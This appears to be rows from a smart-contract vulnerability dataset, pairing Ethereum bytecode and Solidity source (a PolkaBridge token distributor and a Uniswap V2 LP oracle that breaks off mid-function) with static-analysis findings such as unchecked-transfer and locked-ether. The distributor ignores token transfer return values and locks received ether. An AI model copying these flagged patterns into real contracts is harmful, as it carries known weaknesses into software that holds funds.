65b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115f8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b81816111919190611a26565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112239190611ad2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115f8565b60405180910390a350505050565b61129d610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611321906118e4565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008082846113949190611ad2565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090611ee0565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611422826113f7565b9050919050565b61143281611417565b811461143d57600080fd5b50565b60008135905061144f81611429565b92915050565b60006020828403121561146b5761146a6113ed565b5b600061147984828501611440565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114bc5780820151818401526020810190506114a1565b838111156114cb576000848401525b50505050565b6000601f19601f8301169050919050565b60006114ed82611482565b6114f7818561148d565b935061150781856020860161149e565b611510816114d1565b840191505092915050565b6000602082019050818103600083015261153581846114e2565b905092915050565b6000819050919050565b6115508161153d565b811461155b57600080fd5b50565b60008135905061156d81611547565b92915050565b6000806040838503121561158a576115896113ed565b5b600061159885828601611440565b92505060206115a98582860161155e565b9150509250929050565b60008115159050919050565b6115c8816115b3565b82525050565b60006020820190506115e360008301846115bf565b92915050565b6115f28161153d565b82525050565b600060208201905061160d60008301846115e9565b92915050565b60008060006060848603121561162c5761162b6113ed565b5b600061163a86828701611440565b935050602061164b86828701611440565b925050604061165c8682870161155e565b9150509250925092565b600060ff82169050919050565b61167c81611666565b82525050565b60006020820190506116976000830184611673565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6116da826114d1565b810181811067ffffffffffffffff821117156116f9576116f86116a2565b5b80604052505050565b600061170c6113e3565b905061171882826116d1565b919050565b600067ffffffffffffffff821115611738576117376116a2565b5b602082029050602081019050919050565b600080fd5b600061176161175c8461171d565b611702565b9050808382526020820190506020840283018581111561178457611783611749565b5b835b818110156117ad57806117998882611440565b845260208401935050602081019050611786565b5050509392505050565b600082601f8301126117cc576117cb61169d565b5b81356117dc84826020860161174e565b91505092915050565b6000602082840312156117fb576117fa6113ed565b5b600082013567ffffffffffffffff811115611819576118186113f2565b5b611825848285016117b7565b91505092915050565b61183781611417565b82525050565b6000602082019050611852600083018461182e565b92915050565b6000806040838503121561186f5761186e6113ed565b5b600061187d85828601611440565b925050602061188e85828601611440565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118ce60208361148d565b91506118d982611898565b602082019050919050565b600060208201905081810360008301526118fd816118c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061194b57607f821691505b6020821081141561195f5761195e611904565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119c160288361148d565b91506119cc82611965565b604082019050919050565b600060208201905081810360008301526119f0816119b4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a318261153d565b9150611a3c8361153d565b925082821015611a4f57611a4e6119f7565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611a948261153d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611ac757611ac66119f7565b5b600182019050919050565b6000611add8261153d565b9150611ae88361153d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b1d57611b1c6119f7565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b8460258361148d565b9150611b8f82611b28565b604082019050919050565b60006020820190508181036000830152611bb381611b77565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c1660248361148d565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca860228361148d565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a60258361148d565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc60238361148d565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e60268361148d565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b8361148d565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea26469706673582212208c750d5fc087af59a99e82de03d397d578aef6ac4b06fd7dfa76c4b32e5ecacc64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 6,395 |
0xBecaBf598644dC8815721763d0a4De7Ff3C4D1CC
|
pragma solidity >=0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferWithoutDeflationary(address recipient, uint256 amount) external returns (bool) ;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal virtual {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DistributeToken is Ownable {
string public name = "PolkaBridge: Distribute Token";
using SafeERC20 for IERC20;
IERC20 token;
constructor(IERC20 _tokenAddress) public {
token = _tokenAddress;
}
function changeTokenContract(IERC20 tokenContract) public onlyOwner {
token = tokenContract;
}
function distributeToken(
address[] memory listUser,
uint256[] memory listAmount
) public onlyOwner {
for (uint256 i = 0; i < listUser.length; i++) {
token.transfer(listUser[i], listAmount[i]);
}
}
function distributeToken(address[] memory listUser, uint256 amount)
public
onlyOwner
{
for (uint256 i = 0; i < listUser.length; i++) {
token.transfer(listUser[i], amount);
}
}
function withdrawToken() public {
token.transfer(owner(), token.balanceOf(address(this)));
}
receive() external payable {}
}
|
0x60806040526004361061008a5760003560e01c80638da5cb5b116100595780638da5cb5b146102e75780638f32d59b1461033e578063a9c7648f1461036d578063ca628c781461043c578063f2fde38b1461045357610091565b806306fdde0314610096578063523aee6914610126578063659de63b14610177578063715018a6146102d057610091565b3661009157005b600080fd5b3480156100a257600080fd5b506100ab6104a4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100eb5780820151818401526020810190506100d0565b50505050905090810190601f1680156101185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013257600080fd5b506101756004803603602081101561014957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610542565b005b34801561018357600080fd5b506102ce6004803603604081101561019a57600080fd5b81019080803590602001906401000000008111156101b757600080fd5b8201836020820111156101c957600080fd5b803590602001918460208302840111640100000000831117156101eb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561024b57600080fd5b82018360208201111561025d57600080fd5b8035906020019184602083028401116401000000008311171561027f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610600565b005b3480156102dc57600080fd5b506102e56107a6565b005b3480156102f357600080fd5b506102fc6108df565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034a57600080fd5b50610353610908565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b5061043a6004803603604081101561039057600080fd5b81019080803590602001906401000000008111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111640100000000831117156103e157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610966565b005b34801561044857600080fd5b50610451610af9565b005b34801561045f57600080fd5b506104a26004803603602081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc0565b005b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561053a5780601f1061050f5761010080835404028352916020019161053a565b820191906000526020600020905b81548152906001019060200180831161051d57829003601f168201915b505050505081565b61054a610908565b6105bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610608610908565b61067a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b82518110156107a157600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8483815181106106d357fe5b60200260200101518484815181106106e757fe5b60200260200101516040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561075857600080fd5b505af115801561076c573d6000803e3d6000fd5b505050506040513d602081101561078257600080fd5b8101908080519060200190929190505050508080600101915050610680565b505050565b6107ae610908565b610820576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661094a610d46565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b61096e610908565b6109e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b8251811015610af457600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb848381518110610a3957fe5b6020026020010151846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610aab57600080fd5b505af1158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b81019080805190602001909291905050505080806001019150506109e6565b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610b3f6108df565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610bde57600080fd5b505afa158015610bf2573d6000803e3d6000fd5b505050506040513d6020811015610c0857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8257600080fd5b505af1158015610c96573d6000803e3d6000fd5b505050506040513d6020811015610cac57600080fd5b810190808051906020019092919050505050565b610cc8610908565b610d3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610d4381610d4e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610e936026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220331dd28b9acc6b88931b6f4792ff4417d13e8250393709133a48d66ed21319c864736f6c63430006010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,396 |
0xf751f24dd9cfad885984d1ba68860f558d21e52a
|
// SPDX-License-Identifier: GPL-3.0-or-later
/// UNIV2LPOracle.sol
// Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
///////////////////////////////////////////////////////
// //
// Methodology for Calculating LP Token Price //
// //
///////////////////////////////////////////////////////
// A naïve approach to calculate the price of LP tokens, assuming the protocol
// fee is zero, is to compute the price of the assets locked in its liquidity
// pool, and divide it by the total amount of LP tokens issued:
//
// (p_0 * r_0 + p_1 * r_1) / LP_supply (1)
//
// where r_0 and r_1 are the reserves of the two tokens held by the pool, and
// p_0 and p_1 are their respective prices in some reference unit of account.
//
// However, the price of LP tokens (i.e. pool shares) needs to be evaluated
// based on reserve values r_0 and r_1 that cannot be arbitraged, i.e. values
// that give the two halves of the pool equal economic value:
//
// r_0 * p_0 = r_1 * p_1 (2)
//
// Furthermore, two-asset constant product pools, neglecting fees, satisfy
// (before and after trades):
//
// r_0 * r_1 = k (3)
//
// Using (2) and (3) we can compute R_i, the arbitrage-free reserve values, in a
// manner that depends only on k (which can be derived from the current reserve
// balances, even if they are far from equilibrium) and market prices p_i
// obtained from a trusted source:
//
// R_0 = sqrt(k * p_1 / p_0) (4)
// and
// R_1 = sqrt(k * p_0 / p_1) (5)
//
// The value of an LP token is then, replacing (4) and (5) in (1):
//
// (p_0 * R_0 + p_1 * R_1) / LP_supply
// = 2 * sqrt(k * p_0 * p_1) / LP_supply (6)
//
// k can be re-expressed in terms of the current pool reserves r_0 and r_1:
//
// 2 * sqrt((r_0 * p_0) * (r_1 * p_1)) / LP_supply (7)
//
// The structure of (7) is well-suited for use in fixed-point EVM calculations, as the
// terms (r_0 * p_0) and (r_1 * p_1), being the values of the reserves in the reference unit,
// should have reasonably-bounded sizes. This reduces the likelihood of overflow due to
// tokens with very low prices but large total supplies.
pragma solidity =0.6.12;
interface ERC20Like {
function decimals() external view returns (uint8);
function balanceOf(address) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
interface UniswapV2PairLike {
function sync() external;
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast
}
interface OracleLike {
function read() external view returns (uint256);
}
// Factory for creating Uniswap V2 LP Token Oracle instances
contract UNIV2LPOracleFactory {
mapping(address => bool) public isOracle;
event NewUNIV2LPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1);
// Create new Uniswap V2 LP Token Oracle instance
function build(
address _owner,
address _src,
bytes32 _wat,
address _orb0,
address _orb1
) public returns (address orcl) {
address tok0 = UniswapV2PairLike(_src).token0();
address tok1 = UniswapV2PairLike(_src).token1();
orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1));
UNIV2LPOracle(orcl).rely(_owner);
UNIV2LPOracle(orcl).deny(address(this));
isOracle[orcl] = true;
emit NewUNIV2LPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1);
}
}
contract UNIV2LPOracle {
// --- Auth ---
mapping (address => uint256) public wards; // Addresses with admin authority
function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin
function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized");
_;
}
address public immutable src; // Price source
// hop and zph are packed into single slot to reduce SLOADs;
// this outweighs the cost from added bitmasking operations.
uint8 public stopped; // Stop/start ability to update
uint16 public hop = 1 hours; // Minimum time in between price updates
uint232 public zph; // Time of last price update plus hop
bytes32 public immutable wat; // Label of token whose price is being tracked
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; }
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed internal cur; // Current price (mem slot 0x3)
Feed internal nxt; // Queued price (mem slot 0x4)
// --- Data ---
uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals)
uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals)
address public orb0; // Oracle for token0, ideally a Medianizer
address public orb1; // Oracle for token1, ideally a Medianizer
// --- Math ---
uint256 constant WAD = 10 ** 18;
function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require((z = _x + _y) >= _x, "UNIV2LPOracle/add-overflow");
}
function sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require((z = _x - _y) <= _x, "UNIV2LPOracle/sub-underflow");
}
function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require(_y == 0 || (z = _x * _y) / _y == _x, "UNIV2LPOracle/mul-overflow");
}
// FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687
function sqrt (uint256 _x) private pure returns (uint128) {
if (_x == 0) return 0;
else {
uint256 xx = _x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }
if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }
if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }
if (xx >= 0x10000) { xx >>= 16; r <<= 8; }
if (xx >= 0x100) { xx >>= 8; r <<= 4; }
if (xx >= 0x10) { xx >>= 4; r <<= 2; }
